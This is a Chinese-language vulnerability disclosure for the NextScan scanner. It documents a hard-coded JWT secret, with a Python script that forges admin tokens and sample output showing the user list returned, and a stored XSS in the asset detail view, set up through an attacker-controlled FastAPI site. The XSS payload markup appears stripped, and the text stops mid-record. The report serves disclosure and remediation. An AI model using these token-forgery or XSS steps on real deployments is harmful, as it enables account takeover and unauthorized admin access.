# NextScan 漏洞报告 软件名称:NextScan(飞刃) 开发者或厂商:同程旅行 代码仓库:https://github.com/tongcheng-security-team/NextScan ## 1. 管理端 JWT 密钥硬编码 简要描述:通过硬编码的 JWT 密钥,可伪造管理员令牌并调用管理端全部接口。 影响版本:1.1.0 ~ 1.2.0 前置条件:无 ### 漏洞成因 管理端用 HS256 校验 `X-Access-Token` 请求头。签名密钥以字符串常量形式写在 `ns-admin` 二进制中,`pkg/config` 的配置结构里没有对应字段,`conf.ini` 也没有相关配置段,部署者无法通过配置文件或环境变量更换该密钥。 中间件验签通过后只从令牌中取出 `id` 与 `roleIds`,不检查用户是否存在,也不检查角色是否有效。相关逻辑位于 `pkg/http/middleware` 与 `pkg/http/router.Auth`。 因此,只要知道密钥,就可以构造一个 `id` 为任意值、`roleIds` 为系统超级管理员角色 ID 的令牌,并以管理员身份调用接口。 1.1.0、1.1.1、1.2.0 三个已发布镜像中的密钥相同,因此影响范围为 1.1.0 ~ 1.2.0。 ### 复现环境搭建 实验环境用官方 compose 部署。官方 compose 中的 `bitnami/etcd` 与 `minio/minio` 镜像已无法拉取,这里换成 `bitnamilegacy/etcd` 与 `bitnamilegacy/minio`;`createbuckets` 依赖的 `minio/mc` 同样无法拉取,这里省略,不影响本文的复现。其余配置与官方一致: ```yaml services: redis: image: "redis:alpine" command: --requirepass "3d7a6447328dcde6" container_name: ns-redis mongo: image: "mongo:4.2.23" command: [--auth] environment: MONGO_INITDB_ROOT_USERNAME: root MONGO_INITDB_ROOT_PASSWORD: root MONGO_DATABASE: NextScan MONGO_USERNAME: NextScan MONGO_PASSWORD: 56074e26d5a39aad volumes: - ./mongo/init:/docker-entrypoint-initdb.d - ./mongo/data:/data/db container_name: ns-mongo etcd: image: "bitnamilegacy/etcd:3.5.6" environment: - ETCD_ROOT_PASSWORD=0117be99f79bf9e2 container_name: ns-etcd minio: image: "bitnamilegacy/minio:2021.4.18" volumes: - ./minio/data:/data environment: MINIO_ACCESS_KEY: "vi75e" MINIO_SECRET_KEY: "hFimqbrlBE" command: server /data container_name: ns-minio web: image: "lysec/ns-admin:latest" ports: - "80:80" depends_on: - redis - mongo - etcd - minio container_name: ns-admin scan: image: "lysec/ns-scan:latest" depends_on: - web container_name: ns-scan craw: image: "lysec/ns-craw:latest" depends_on: - web container_name: ns-craw ``` `mongo/init` 取自官方仓库。启动后访问 `http://127.0.0.1`。 ### 复现过程 从镜像中取出密钥: ```bash $ docker run --rm --entrypoint sh lysec/ns-admin:v1.2.0 -c 'strings /next-scan/ns-admin | grep nscan_admin_api_jwt_secret_key' nscan_admin_api_jwt_secret_key ``` 用该密钥签发令牌并读取用户列表: ```python import httpx import jwt BASE = "http://127.0.0.1" token = jwt.encode( { "exp": 1794062983, "id": "5db002504da8ad2e24d0052d", "orig_iat": 1793976583, "roleIds": "5e36ddf74da8ad2e24fb5f51", }, "nscan_admin_api_jwt_secret_key", algorithm="HS256", ) print(token) headers = {"X-Access-Token": "ns-admin " + token} print(httpx.get(BASE + "/v1/sys/user/list", headers=headers).text) ``` 输出如下: ``` eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQwNjI5ODMsImlkIjoiNWRiMDAyNTA0ZGE4YWQyZTI0ZDAwNTJkIiwib3JpZ19pYXQiOjE3OTM5NzY1ODMsInJvbGVJZHMiOiI1ZTM2ZGRmNzRkYThhZDJlMjRmYjVmNTEifQ.AhcTJZnJXrSx7ZTEN7bOx4rer7o1_R-i0fLDZJD2x1Y {"code":200,"message":"OK","result":[{"id":"5db002504da8ad2e24d0052d","username":"admin","realname":"管理员","workNo":"00001","avatar":"","sex":1,"phone":"18888888888","desc":"系统默认账户","createBy":"","updateBy":"","status":1,"email":"nextscan@163.com","source":"","updateTime":"2023-02-14T08:21:15.22Z","createTime":"2021-05-18T07:33:51.228Z"}],"success":true,"timestamp":1793976583830,"total":1} ``` 在浏览器控制台写入令牌,然后打开首页: ```js localStorage.setItem('pro__Access-Token', JSON.stringify({value: 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQwNjI5ODMsImlkIjoiNWRiMDAyNTA0ZGE4YWQyZTI0ZDAwNTJkIiwib3JpZ19pYXQiOjE3OTM5NzY1ODMsInJvbGVJZHMiOiI1ZTM2ZGRmNzRkYThhZDJlMjRmYjVmNTEifQ.AhcTJZnJXrSx7ZTEN7bOx4rer7o1_R-i0fLDZJD2x1Y', expire: null})); ```  进入用户管理可以看到管理员账号:  ## 2. 资产详情存储型 XSS 简要描述:扫描器爬取攻击者控制的站点后,会把表单请求体写入资产库,用户打开资产详情时脚本被执行,攻击者借此接管受害者账号。 影响版本:1.1.0 ~ 1.2.0 前置条件:扫描任务的目标包含攻击者控制的站点 ### 漏洞成因 爬虫在抓取页面时会提交页面中的表单,并把请求体原样写入 `Asset_URL.data`。管理端的 URL 资产详情弹窗用 `domProps.innerHTML` 渲染该字段,未做转义。相关代码如下: ```js // web/js/chunk-7371b739.7ed9f6ed.js domProps:{innerHTML:e._s(e.form.data)} ``` 同一弹窗还用 `json-viewer` 展示请求头,该组件把以 `http://` 开头的字符串拼进 `innerHTML`,因此请求头的值同样可以注入脚本。相关代码如下: ```js // web/js/chunk-e9af1076.1c09d728.js domProps=n?{innerHTML:'"'+(t=''+t+"").toString()+'"'} ``` 1.1.0、1.1.1、1.2.0 三个已发布镜像的前端产物中,上述两处渲染逻辑相同。 ### 复现环境搭建 管理端按第 1 节部署。另需一台扫描节点可以访问的主机运行攻击者站点,下文以 `172.28.0.1` 表示该主机地址,实际环境中替换为对应地址: ```python from fastapi import FastAPI from fastapi.responses import HTMLResponse, PlainTextResponse app = FastAPI() @app.get('/xss-form', response_class=HTMLResponse) def xss_form(): return '''
''' @app.post('/submit', response_class=HTMLResponse) def submit(): return 'ok' @app.get('/slow') async def slow(ms: int = 5000): import asyncio await asyncio.sleep(ms / 1000) return PlainTextResponse('slow') ``` 启动: ```bash $ uvicorn attacker:app --host 0.0.0.0 --port 18899 ``` ### 复现过程 在管理端新建项目,目标填 `http://172.28.0.1:18899/xss-form`,开启爬虫,运行任务。爬虫提交表单后,请求体被写入资产库: ``` {"_id":{"$oid":"6aedf916844f93e35bb80381"},"url":"http://172.28.0.1:18899/submit","data":"x=